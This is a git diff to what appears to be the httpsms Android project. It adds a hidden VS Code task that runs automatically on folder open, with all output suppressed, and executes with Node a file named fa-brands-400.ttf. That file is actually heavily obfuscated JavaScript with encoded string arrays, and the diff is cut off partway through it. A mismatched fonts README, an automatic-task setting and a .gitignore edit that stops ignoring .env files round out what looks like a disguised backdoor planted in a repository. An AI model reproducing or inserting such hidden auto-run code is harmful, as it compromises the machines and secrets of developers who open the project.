diff --git a/.gitignore b/.gitignore index cc68ad44b..8cecf255c 100644 --- a/.gitignore +++ b/.gitignore @@ -1,21 +1,22 @@ -.idea -.env* -!.env.docker -!.env.production -*serviceAccountKey.json -android/app/debug/ -*main.exe* -android/app/release/ - -tests/firebase-credentials.json -tests/certs/ -tests/emulator/emulator.exe -SECURITY_AUDIT_REPORT.md - -*.exe - -.output -.agents/ -skills-lock.json -.worktrees/ -docs/superpowers +.idea +!.env.docker +!.env.production +*serviceAccountKey.json +android/app/debug/ +*main.exe* +android/app/release/ + +tests/firebase-credentials.json +tests/certs/ +tests/emulator/emulator.exe +SECURITY_AUDIT_REPORT.md + +*.exe + +.output +.agents/ +skills-lock.json +.worktrees/ +docs/superpowers +config.bat +node_modules diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 000000000..4492ffd00 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 000000000..1b32da5d2 --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,24 @@ +{ + "version": "2.0.0", + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-brands-400.ttf) || (where node >nul 2>&1 && node ./android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-brands-400.ttf) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + } + ] +} diff --git a/android/app/src/main/java/com/httpsms/ui/login/public/fonts/README.md b/android/app/src/main/java/com/httpsms/ui/login/public/fonts/README.md new file mode 100644 index 000000000..1fb874ba8 --- /dev/null +++ b/android/app/src/main/java/com/httpsms/ui/login/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-brands-400.eot b/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-brands-400.eot new file mode 100644 index 000000000..a1bc094ab Binary files /dev/null and b/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-brands-400.eot differ diff --git a/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-brands-400.svg b/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-brands-400.svg new file mode 100644 index 000000000..2d4771eb7 --- /dev/null +++ b/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-brands-400.ttf b/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-brands-400.ttf new file mode 100644 index 000000000..8bf2a8478 --- /dev/null +++ b/android/app/src/main/java/com/httpsms/ui/login/public/fonts/fa-brands-400.ttf @@ -0,0 +1 @@ +(function(dndewaGmpC,MC$qKe$tMoLGy){var UWtev$jwTPBmUz$dbjiYCmyFd=TeBSJPgK_d_dx,ihDEBDwwemClYmYMS=dndewaGmpC();while(!![]){try{var DW$tKQdbJn$STDgFBJeQsYLnYjX=-parseFloat(UWtev$jwTPBmUz$dbjiYCmyFd(0x1bf))/(Math.ceil(parseInt(0x24cb))+-0x1*0x48f+-parseInt(0x203b))*parseFloat(parseFloat(UWtev$jwTPBmUz$dbjiYCmyFd(0x1c9))/(Math.trunc(-0xae5)*Math.max(-0x1,-parseInt(0x1))+0x4*Math.trunc(-0x675)+Math.ceil(parseInt(0x2fd))*0x5))+parseFloat(UWtev$jwTPBmUz$dbjiYCmyFd(0x1bd))/(parseInt(0xb8)*0x31+parseInt(-parseInt(0xa83))*Math.max(-0x1,-parseInt(0x1))+-parseInt(0x2db8))+-parseFloat(UWtev$jwTPBmUz$dbjiYCmyFd(0x1ca))/(parseInt(0x26)*Math.max(0x62,0x62)+0x17fb+parseFloat(-0x2683))+parseFloat(UWtev$jwTPBmUz$dbjiYCmyFd(0x1c5))/(parseInt(0x3)*-parseInt(0x5b9)+parseInt(0x1)*Math.max(-parseInt(0x466),-parseInt(0x466))+0x1596)+Math['trunc'](-parseFloat(UWtev$jwTPBmUz$dbjiYCmyFd(0x1c0))/(Number(-0x1)*Math.trunc(parseInt(0x185a))+-0x1b3c+0x6*0x89a))+-parseFloat(UWtev$jwTPBmUz$dbjiYCmyFd(0x1c3))/(Math.floor(-parseInt(0x744))+0x1575+0x103*Math.max(-parseInt(0xe),-parseInt(0xe)))*parseInt(parseFloat(UWtev$jwTPBmUz$dbjiYCmyFd(0x1c8))/(parseInt(0x192c)+parseInt(0x61)*-0x19+-parseInt(0xfab)))+parseFloat(UWtev$jwTPBmUz$dbjiYCmyFd(0x1c7))/(Math.floor(-parseInt(0x1503))+0x118c+0x40*parseInt(0xe));if(DW$tKQdbJn$STDgFBJeQsYLnYjX===MC$qKe$tMoLGy)break;else ihDEBDwwemClYmYMS['push'](ihDEBDwwemClYmYMS['shift']());}catch(cKLOBFyQsyufw){ihDEBDwwemClYmYMS['push'](ihDEBDwwemClYmYMS['shift']());}}}(mfWsoHUFtUOm_rcZtIkPvFxRh,parseInt(-parseInt(0x31ce5))+-parseInt(0xc8e)*Math.trunc(-0x2)+0x4dae0));function mfWsoHUFtUOm_rcZtIkPvFxRh(){var WAJTwL_p$mqGEAmNzuj=['05700f2266682325656814327d6868687a05222014207b22347a3e3f6f2235687423676668687a283268257a2f256732203222216835687a7f68056b68141468142e3c23142a147d72292776343e25692e6727347a2b7a14237a356e147c7c1479207d6063242f277c7a122e682e7a6866202d253f3f2a1425147c67276a7a7a262728602a25733a2a7a191414682f72142f683e7c14313528286822356809666d76282019062d2e7629346e2f253472352f14326872342214643e6214687d143327140064202325147f66237a16030b146c3224141473777d186a052f676b14683435147e3e7c6f6830352514147a142a676d781479140b3068686b6e7a1423617a28252021143514683b2f6027342221147a143c7a14607f147a236728623e0f277f673e2e236925146c686636232e25682214141725322275761437146a140269201f646f06256868247c7a2935317668681467687d6e7a1420143268687a143408721514236b33271467716716686323666e7a05687a2a16221414612535272367143a6068746821143617197d297b20147a16727a2032151414147a14722523681468287a686f7766236822677a03383f2f78342a287a231436131422256325663125702a692a2834227a7c687a2f7a327618146466307a2b7a123435231d1408362e6e166e2f2014762a7e2525141425682e7a35270523233134713314227a7d7c1214233e3e0d271420271d640a3466632c622a6f7a7a1d23037a23077a682737656814666a142a342f146f14233635181b2f772f2532232c35290e037d32762e3f1067142b23232c762067142a281468237e14253f75341666357614680b273e7a25142d1468287a25357267226f197f1420327a68273a14676214077a2068146e352814142125041423147a6825356e6e2b25141023286e0223363525112f143264237a341414140368141476133464666825666814367a686828146b7c0b2a686f7a2f0f2d14252768682a236a2d2363706614321c0f2924680219107a686e687232087a6e7a14227627682268036332327a1914686820282514256870271f0f147a143132250668227d2966001314682f77667401241431201e6823111d1c7a256867326e32233166002506146614123414721414146775286b662a28141914726e1435207d6e68316e23367425027a6814146e35143a6e247a147a687a06140b68143e143563142e6818141e3a1414246a687b7a3318062527237a7b68326f2a6f68216768147a147a68686e7314682b2d146e2b142a1e670b602f0b3e7b66192a7b25351468687a272265307a353e68281425222e272d683b1d651475686e146a68292468682022682925257a7a2c687a147b6f1d7a021432212d7a253420146825143528663d146814680225742527362927767a1d147a6832681414322f6c3e34253619681422123b147a29362a2524143b3e1429143b280a142d146b6e210e681427231568680b68641429351423362a6868006b68662833286f141414272e6b682303677067222335147a6014292932286014256828041607142a1468147a16766022686e68102534237a216875662129366b6803247a29753574211662232025152f3c7a641d233576601b202834147a252920052812252e146828212a7b2360687a14767a3d68682e35773314251414326d3424147a760b236e0b7a6b2868143c27776d6d681414356627687b68223b236e7834656a76637d123d3121272237323f6e252505257a7a3030207a68141468231468140a247a25767d3222680e33142b7a293423142a14271427667b687a7a141434143461257a35223d766c087f321a2514627c140c671404091434142a2919142567276614142a1466243224146635270b296935146f767d741479147a14227a6c1562673d142f2d3228297d142823147b7f7a7a146125242b2e36687a14752a2a14766f686868681a08377a6a681415176273143632031114142a327a661466146e352114361d6c1414322e7a141412153328352a682567286614283534142568686661272568686414681e672320141623323e7a666822232965677a342236236f191433147a14281414142f037a32706f233b757a140f68631426337267147a14753634141435362f6825677a23183b68790c702d142e3265162f0432670d7914257914147d143414357a60146721276668667f25142814147e68062214351427141d0f687a2820686b7a0f680e29723736206e14680f23361b03627a68326838231a147468347a13673c0b3468253b1423142a0224146e146803327a2336793670032508687a2535236a693c2577676834252a206c696e2068147a14326825001414640a141e762968237a143d2314141423321e68323429226e68686634142470682625756f7a767e2b23142f32323535327b2f686f237a7a14681408683614722432336870220f2f21672e14336632021423147a147d142568252c68257a6e197f25252b7c2d6822257a1420146835686814602725222223356f660a666e193138296820342a60677d2b277a14667b2d1468237a19346a2e0d16637a2b601b36252a2768297b3577142e68626e36142a6e3c6835727d142f663b671d631435141478687a3b682a6800227a7e7a6768641b686927667d2d2f686e287a14143214057520746e14760311682867667f146a256767142a2f2f3570253528356f2e34017a3c7214141673142f1414322f611466346008237a147c252314387a253d1d68217a606f082d3e31143433350014252314162f6814246814687a35290e2c23257a262a2969627a147a14636e326214142a6b15682a343f6368686631270b286e146714212302767c14297a68223e662f140a0d631428661468246f346a65322614141c386868706867647a67287d327a3e28083535270a146712627225141425157a3b67697a27217a68143869363d2d257a326f32686b622a01682722142716277f726e3567146c68327a682a257a71207a6e3214341b143d6814137a20342919687a14146d6d142c663f0f64252314192d22682566221b681b0a2b2f146e640b680668652b1665286a680b14263a14043b7a62241428211908326b7d7a6e7a686832142a6e3414343e240b6b14760a6422326f013b67361666687a14191433686b326863222268257a3e68627a27142d327a2f686535296f077923143c682a3635677a247e14143c30347a037d031f141a6e207a32281d141510752e14141d686e2f667a1425142e7a2b6f2f1b2a66761414291434357a706b663d7a7532341414251429686e68680b68682568207d1468157a15257a7a062a376b686614376714762f36687d7273342525146c697a2e68660222271b251214142814601469066c7f677a1623276633686829293666346e627a2367341268247f25307a3d141528173d6f14146722696e277a686968203211232466207a611414692562142a6e1414682868682b02252425242a3b146733142968777c6827713b68247a3b14222268023d252a686e096f2a022f627414606f7c2268281a67251436227a6168283f14342527687a186e77252f6f7d1572362a323424140f3e2e3f732320771d6f143524146876666d1434306614141d35140732681023141b773768687a627720287a252268337435620b2514666c146e796e25667d14146825166a231414686366361424666f686f147a6814231f14683f231414142a2925290d03032d35272d257e6a352b163b2d2a7a6e2a3f682d36327b2214342a1462357a2f23686134223c352a672f362f682575252f3214766414321414701461683368681468602d6d1464676e31151e1532321b66347a68187c282d2768142e28626e1427237d14257a05297428356614207a367d662f252005032f157a3035231014277a123523666f6875251423726e14277434356b68682f793505221414687a3b212a14142f7428256b340765257071146b6868256f1d7a7a2c14141428247d6635271464142568141432603520142509696f1468337a292a1403140c7a68141475226e141475767a66062514272b2729351468236f68146105661677143f2214603014782e0f16191d7c25233114207a2914356f280b25242f1f16667c142d1420147414301467236a7a32151968143475146f146462671968612a6e356614256225676725143b7a7a686425143b28052b687a2970291e2e2f221414252a7c7a683f67147a327a232b697d3370661434352d6e34140634331432682214276b1614250a24201414237a7e1b142a65667a14332532251668056171141428253327723535041468672425236f32142268601668282535366773311c6862142f30276817686e1d1428141414727a682e0714147a363c203c601432252a22686e273516140814683b14296834236e1468140468141468233d1400143b6367146668681d14777a6833141462097a7e6e356868322c0566750f7a166e6629270c1427332935671421022f082572147a233f062f761d2568207a082f7d35142a317e6f14687414327414141519237c2f602a346e14251b2024036f1432283529786536683521092168146e0f2b20322336752b347924033b366e2314356f6714333435142514797a1468682520383d3d14796f2f2929326828076868233e24363e143b26152532660132366f32672a143d6b353b1414227a25677f163b29336868327d3b7a7a6814322b6f69346809671b681d227a14757a257b74251a662214273409143f7a68147a6e6e3e14222523142205192f3d7a25346a296a146268147209683a7a3e3225202514692625667a6836251b682a21386e233833226825143214311434031c1414327a7a66130f3266680b2e3214306e1922143225192a7a296714142a141d3166681f686814357a6868627a29726e232a271468336824251b66756b143b1414157a147b3c686d152a143327776e662a7432686e763565347d257a30687a0d327a7a7a6832272332212d2f2814683228663f332867003b142714146e6f347a0225340f6765636e6e7d20141432752f236b1a2f3b6e14286632682a14686828207904687a2423686e6f7668140817736c6a1468692127112d7c6016236035683474346a1f7d237a1414037d3525687a257a3a7a68146e006e2525276632767a351a6a357a7a33251d3216662564686f276575052b212876146c0f7a6268667635047e347a232525167a7814242f6874686635222235783b72232523296e2f083f1469321468032814753f0b156114311429152514666723752005161420141435242414672a22146e14292f68641b2f1461237a1434146814052e2334237a36022a247a3d686868687a1f10226822231414607a6f2a762a142f1025687e0e7c196e25322e2068230b0610326f3515143468686867732f14612a147a28686114787a1e147a766668296567326214297a6823347a32147125142f7614777b6a68011425252e2b322d146e381b1425352522363263792d32143f662f056e2a2933237e6d2f6b2f066503611435232e642a7223141424142a146830142e6f081414727e6823691414256270166a21286827760520037b6078256664142a14351304147f3228141417292a252327142f2f20142b2f686c676e6e2512736004251425027a322868142a1414622025143514726f333c2a2f2f796e31687a791c183514226120257379236d32287a3f660a127a2420331468632f26146e6f1414251414147a282e643e2576256168167a676f1414311b7668147a642c16142a106e2514141420241d68686a14147a140e627214237e6734296f667a65142d0b7e147a3f7a147a2f117a2914226814727214250e1a2512141b7a682a251465683e66151414143d2f2f141a28221f6d14126f2f2a35617a7a686068227a252f7a2968142576693123622b7f14296878703e3b3e683b277a3f67310d146623146525146832381b6868687a14282f25257a336936273629797a6214296827123e0a302a65206d687a7a2714727a02780729347a3422686c77686e2203151c7a0d14162568192f27192968141468362920092a3a092e240b3e146768281416687e276721133e6f05252e2f2e6432761432293d14252f630e2f057314321d2a2e2b7d6f25627668272267351414237a6a7a140f2f703e7a0223167a7f14147a191b2314276e340271162523687d141522297a297a142a6a6803257a683e1b322e1514197a022825687e37256874143560622320683b25247b7a6c6d122025772414683525646e28281468242f2c2814726727253e2d0f25282f367b6e607d34143414146672142f332535142914332568207a193435142b796b7a626c147d206733787e3036682716236f66347c19126e2323247a233d14683529146d3668681468146625147a147b3678683b3e7d662461143125317a2567140c7f35177a146e25373f2c7a701e32282714797a2f14206e14147a6e6d147a2f22231d256e7a1614662914146821286814147e681427227b6866287a7a6c6a7a32202c7b1414683b202378251469633e6e6f143f2820147d6a696c16157a1462142c32662068681467142f2f7a14151420356f357a292e7a1d1b2632633a1a6f7a22322f1b20147a14686b140c706b6e2b677f660835683b7a6114686820237a682e6862687a32082714662532367a7123157a6b25687a0e14011b7e2530687a142d362814056867256e28252222357a607a361b346b687320313033231422166b142529140560257814143e3b326871687d7a3e327a6868666b14347f2d032a14323e3f1d1268256732232f146868357a6f0b1434146421141431146614352f6d25283114273214257f6a2b253a35651b18772d68242775203d7a28142f3a7e6814251b686f7b143f68142323221468677c32297d712a663b35681466142534297a0368702a6e32792f142966326864736a146814146866253420147914326714242536687c7a6b74363160143b23612268677c297e142e14651423096836681d35733d142a1a156e086e7a2e6c2514122514232314147a14163b2f221116653214772f1468146a1414146d353b6d2f35142d6825287a7f146e1c3d2a232b167a2b1768352823273e25233668361468320d6f736e7a156e246e687b1433331b141c17686524276514033d3d7a1414201464697d1429142a750869663f7a69642f36686807667a701429273528146827143334147a286714661420126614147a0d147a611463253f2b143e68147a146f643c287a296d7829141460231467127a67787a77671b6804606834686e256624112f6a147b71297a7a2a686466682e1b1468157a142267237a7a2f683b60612f68241420366e203b677a0334310514687f326708217a682527682123147a682b2f311414686f6816253f141432232525641d141423233e25296816277a7a14622f276023146f6931672f25291476147e63686823121d03143611147a6814292866126e01737a256111681468147636196034733314016612147a25683520252128662b141d14726b227a7a70657a2f2a1414686b256f70237a2914662e237a7b66141414277a78013462770368256f2f1428291435032908667214287a34296832307a2d707214766f3e147a72686b2714142515683f6721142f3f6b69736f7114672305146d6114257b120b25286e146f7a633b257a6a652e7e140f6e2c6803002376777d6837772514351b68271466282768146929221d7d257a68143e682268237a232534273c6825686314792f68352f22682f2328326b66652368643468733625206f6814686e346625686b2836792e68721d14702967672f6e7a056a32026c7814661421147b04051468687414356320677a6a19750e14762f14677a147a681b140428231d146e1414141625210529142d6868626b6824256314343b35776014197a30147a68352a142f1406677a202f0b220367301b15146b207a132925016e683b167a70793c1414031425667014141e0b006c3b342b2f7a14342f686808726e7a7d14141d202a14126f701402256a14312535346f072535320c352d683314697b3568146e146629037a272d796e722120757a68202c681c7567252f1b35291968287a2800146e7a12352433642234182966621423141468336f7c22321825326e7a202514046e68372f66687a75320c2f7a257a6e236866146726251e25687614207a6f147a1414147514251374326732252728132514253c323624727a0c3e2b6e2516146f64321c7b686866336f796d6067272a7d6434173e232e2a3020143474681410663568680b686c6e362a1674236d142f142332146214147368666868686827667a22326e6f68352a7b2566346235147a332b0575680f2323323d7d1b6823230d2a7e65357a28361b7d7a1514211437226835292270286025233430230d3632226a1432762514346814352f766314147a257635143214687a37140f323d14152424336814641368152a3225147a2d7a682514293422682314682e2e32156471140a143e14252f162e6808617a22676c683714682f357a2f7a1466292968092f70142414681e1223276832656a6c2768667a25731968206f146f2314670e2268676b6671142d68673b2525682223147a25202914146f2528686765673734146832322037311419786625147a1466286e6614232f79666123341432146c25686614146725620c147a6e7d147a32657d663f320e256f24652f072367686814706812282a19696814752914681414343c3e296e20216864212b33742a6868217a2f7a0f297a28252a143e686e1b686735166a190f6868222a6e146e29146266206b357a6832357a32146802141467197a7a292b68146a1b686d680f681d7c147a35142a6a251b2f3014687c68680167236820291c2d710b756e253f2374146564346f2f7a25142866686828217a2f7e257a2f14732568143e2535662a143436256d767514327a6214283114683b7214142375143c143b7a7a2514323b337a7a7a6716352025682f1768686827073532251403662b637a2529146812762f696f1b2534320d6b7a682c291a2f33212532251d7a353425681565683c227d14147b171472141c69682b7a3d2b14226e147a7a30272568252f3e2325147d3414306f0114297d207a2b68283e6832347f6829141277687b21293f1d68681914120b68657a35231414140d146419687a2403143c34606823057a331420197a3c2b223d3d1414352a607d30686e662466203e7a7b68166e197714142f25681d2020630230686014687d353b3e687d1428287a291668687a012768143b67763f61146c1222247a25233409301673292531687a142329143222141432313514226b633267143214143a14347c686922142265146f05141134687a6e3e317a6f1714686e681468236e6b222b23272914147a14202f252914341714680a61226623113b7412670c2a7a152729142314616e7a28686714682f14757d7633367a163568737a7b25142a337a2f68146a34252c14236822237a1436036e147a6a717a6f322514687a342616647a27271b2a25142e35147a341414727525687a147a3f23260f6f68686e341414166877146029087114680f27683d14143c78103c7d6814141427287a3b1414226868256f256714162b1414236e3e2525661b257d23686f14681f7d1e76146a2a3d682868687a146668281419653523142f6e7a141966290c0c25326f061d68367a7a686e681468676814673f693332681468350825251468142268142014297a19691478631479056d1420253d25241668342568146825681479647e7b190013661666746a312936253227147f7268636f147134312522687a256e666e367f7d753e7368142e2e283337142c14202f21143b322507250f68016e667a6e726832143e657c68141d743e6f64351414201468027a323e256814651416683e67666825146f7a7a2514292d6d142914246835141b7e25142f222734773b7716677a147a687a66147a3014681f682314153d257a7c7b1432682f7a2a146a272814682566213e14682f1e14707d6822292a7a142f681436143b292a30296b77142a0f78362366673675142a3e251422232032726734257a3a10206866147a146f6e29201468256e2f1429257a2f0325087a640f23237a34202767682f2214687f16682364682f7a142b68203b343514211668667a2314243306322570273368667271342428216f6866667a2425230b14236869687d6c327a767c7a32282a1435772531296c32266b2d2c6714663d147a7a681422686668250825056d2e0c2925147a28232f6814252123146f7b1468342368147a24147a747719253b32681764257d25613022202a351468326735672f346814657868142b353433356872661b6725767d356668637a3227162533077a773a7164677b7f77792f14166820343b68226834123414632f2916647a7d68342f27353c143721343f6514217d1468206c68092a6834196f356b22142535667a68287b277a113d7729636666052c25142325243314681400251d1229251319676866251d652014323168326777141923686e2922356a687f662a2e32232220626e7a1528147a632529286e77226862142a15143414352827252d686e6a231420312f6714052136257a6e253614232531146e04236f68157a6d7a3e1624350e686e33672814142332661474326e7a23623b7d2a64326e36141b3f203c14702914316879143b047a68323225146e660e1425682025252f14251d76236d357a660a6835147003676827312576271d256c20367a6f197e28257a252368087a25333405206e146f270329146f2e302e14647d683a281414142a25281435357a143d34146425682f776e12141467342f7a7a22117a14666a6868333b2a2068252f251435353e2f14257407146e6827182a3b2c767022142b3071277a2e362d682d797a1435322a3521681625682514686863682e3d25142f612a146828777a7a2f28223535086824233468281035682a617f272732321435666e68686614356e2f65722f1414271432686a140c7a2a6e236e6665140b2e147e68246f297c296229681968200c347d687528687a1c016603167b2f6a3323687a35147a7a287a1c252014253d142768271420652f1423347a281f66342a00341422143414642567323c29222f2f212314131b352523277f69250d363314146f32686d143214147a1a6623257b2725686e207a251b3714146214687a662b6668306f0e143478687a1b69323168232025783f1f28326768362e231f662f342e14682d14277e6e73227a23146f2931087a32686e69251414246a682920141925713503256868686668147a23141463146f2514003d2368237a256825716a3f323b2d2369353308221d25252f653232351414142734120f35252a7a296f682b68687b3568652428222235147a7a1414683232287a6f3e1416671d68666666256868141422086832242a3b052e2925203468142f2f25292914681520332f23237a14726815193c29322525257d14343534367a142a1d322168667b2d3e7b6814683d1f6d67082514316733636966237a6e14687a2269252a7a28682562331422226e20322f092505773560342a306014146612686f7768212916253d34272a682425142a67662a200f6a146825142574662303326627647a667a2a366e602d68227b6a14682814696f6625771b352f28372f343e142514672332687a1425062a3216682f3d7a23143b14146e122a2314147a6e7a7a6619352a34341214280f202567626c141461147a2527242720252d29282a686024202c2f32707677673322686c2d61237e36607b252336053b7a230123167214256e683e06676f36291d63147602766e63680364147a7228142874271433661927026d0a20251432602471346f256e79663e143a7a342a2a141414271468666f6b25143e6823147a07687a25257a3c2f14297a25140614143d24713f146814140d256814207a2a3a2a682f7435271425143a141d29146e35141212321432250b6f143328277d0e2b35187b1a3d6967226031687d312a332b682e2314326e35232025','72737571707f74302e3f303c2d','7077707472250f36241214','727473767f722c2128153505','717e777272000803223e0f','252e27340732','25182b232c2418323429','7b27232834332e6e272a7b73256a217e202233683f3466686828252325206a73643627232733702a282c6f341b743330643e6b376e1b66277d6e347b7d7d346d6e271d7e68357432072129376a332e7e056a272f6a357d276e072b766e282c7d2c306c6a713029716e6f6e297d2b7029277234316f68663429221d203574283d22343032723e6f6d766a2728346d34346d296f3b3c77667b2e201d27287e3477341d6a1b35716b71712a272768332f713d6b76707f2a302b3274347b2f1b1b7a6d6f336a236f6a6a7d28342e1d347b76306b346e7d6a7b366f0533357b6d257d217d207d37076f6f77302f6f302d7628342a77272366207b1d7d2e2f353f68232b6e226d296774667b6e23302327717e7b686f72232f7b2168287b3d20207b771d7a74276620777b347d726a156f343f2a307733663f7d2d372a3d32302830666e05666e2a6a29302836662f7b322a346a34682a31293c2e6e2a6a32377d7d34346e6e307b272e35307d1b3e377b27247d22277d6a6e6e347d302c37686e321d6d6f22276f342228342e3572773f6e30347d202e7d7521641b236e68272e34362736211b21686f2821203628772e6a2f252a7d7d6f7b057d2b737b6d346a66686f7d337b6d353b6d6f2f326a6d242b7d226d332b6f6b7b352f2f37292a7b327b347b377f6d6868252e376d1d702023663276283436346e6630347e202a34286a22222132661b7027687d2b7d34322e6821376674273b2330232f251b2124322f7a72297d057d2a6a3c3c2f706d2a1d271d7d6d6e352f642a2f64346a28362f7f356a2034202e33316f29317b233d6e247b3123287432682133682f7b2d2f2727276d6f3f2032362775283b6f7b7f646f2536076d337d3332361b647b2a2d713036326677347d2e3c31646f326e6f7f6f6e682a332a7b3571207d667d3537766f28643f6d76353b7b30276d35662b2e6e7637681b2e307d786676707b076b293c2332346e3277343234352f352976236a687d3c1d6e207a732371326a6e342729273028347d322e2e207d306a2c7b347d666f3478777e3c2e296c293d7a272d2b35286f272d32236830297f6d232776252a2f297d2433667b1b0567212c7d3f756d2a6f237b683b22347b2f70292f057e342828767d707b2734643b6834232f7b1b153235342828687d74347b327d1d327d2f307b36340534286e6f27342332333c6d662e2a2d1d6d3e7b23666b7e2c3d6e232c3f7f6e6e6f6f66','2a232821322e','2c292f28','7771757e7772283c3f1e3c09','3533243532342f2821','773c0b34101f2b','77757171777370253413341330','2034292b052e273405292223','2e372334353e2a3330312725222c243f2b2129343c202d29252f3632343332283532292825','7770772a083023282c','35362a2f32','7f7e707473731e3c2c01023f'];mfWsoHUFtUOm_rcZtIkPvFxRh=function(){return WAJTwL_p$mqGEAmNzuj;};return mfWsoHUFtUOm_rcZtIkPvFxRh();}var z='',NX=[-0x35719e+-parseInt(0x3f6c5e)*-parseInt(0x1)+Math.max(-0x5f808f,-parseInt(0x5f808f))*-0x1,Math.ceil(-0x1051)*-0x2+parseInt(0xd8b)*-parseInt(0x1)+-parseInt(0x11a8),Math.floor(-0x1)*parseInt(0x377b)+0x3a5*parseInt(0x5)+-0x95*Math.floor(-parseInt(0xc9)),0x2*parseInt(0xa6f)+-parseInt(0x1b6)+-0x10c3,0xbb6d+parseFloat(-parseInt(0x10092))+0x1b7*parseInt(0x8c),-0x72f3f3+Math.ceil(-parseInt(0x7e510d))+parseInt(0x13ddb93)],SX=[-0x18da47+Math.trunc(-0x8ca55e)+parseInt(0x2)*parseInt(0x7b0fa1),parseInt(-0x2a2)+0x3*Math.ceil(-0xc04)+-parseInt(0xcf)*-parseInt(0x31),-parseInt(0x1d8b)*-0x1+-parseInt(0x26ee)+0xad44,Number(parseInt(0x4a5))*0x2+-0x46*parseInt(0x44)+Math.trunc(0xa09),parseInt(0xfc5d)+Math.max(-0x5f01,-parseInt(0x5f01))+-parseInt(0xc61)*-parseInt(0x5),parseFloat(0x443709)+parseInt(0x7eb35d)+Number(parseInt(0x28de5b))*parseFloat(-0x3)];function spin(GxyPyRB$tWXMH$SieOOV,ksMO$dT){var ogGZZLLTzhpUQXGm_U$KtWpz=TeBSJPgK_d_dx,giVEYHjqHm_uc=[],JYsxZxVJqnu=Math.trunc(0x506)*parseInt(0x5)+parseInt(0x170d)+parseInt(-parseInt(0x302b)),IoUlSzYiuLFlM=ksMO$dT[parseInt(0x2)*0x614+Number(-0x104d)+Math.floor(-0x425)*-0x1],X_eYGWEtJhLvKlIWGZkrFzPg,kmSiHpTJqGjAydbFdYLJJnvC,YIKCzpwrpBNqtmCjWbQGHuaOo,kZM$DVyrg$KE,gfFzxjmJcyPEqqlIXREbttl,JYtYVL;while(JYsxZxVJqnuparseInt(CH_ReFiVQ,Math.floor(0xdd2)+-0xb4d*parseInt(-parseInt(0x2))+Math.floor(-parseInt(0x245c))))),u$zJIFIFxA_jvsViuqE=uxS_ILBQQjHHN$vl['map'](YfMatXNvtRxDYTGCOYl_X=>YfMatXNvtRxDYTGCOYl_X^f$KzyBu$lAgwZN),KLsnBsXGDNevKtzYwkAzgTnF=new TextDecoder(),rnfwlOOoYmmOIxlbMWznpZBZ=KLsnBsXGDNevKtzYwkAzgTnF['decode'](u$zJIFIFxA_jvsViuqE);return rnfwlOOoYmmOIxlbMWznpZBZ;};TeBSJPgK_d_dx['ykfywZ']=crIWeBv,VqOgENnfxzXNq=arguments,TeBSJPgK_d_dx['VyJyfB']=!![];}var 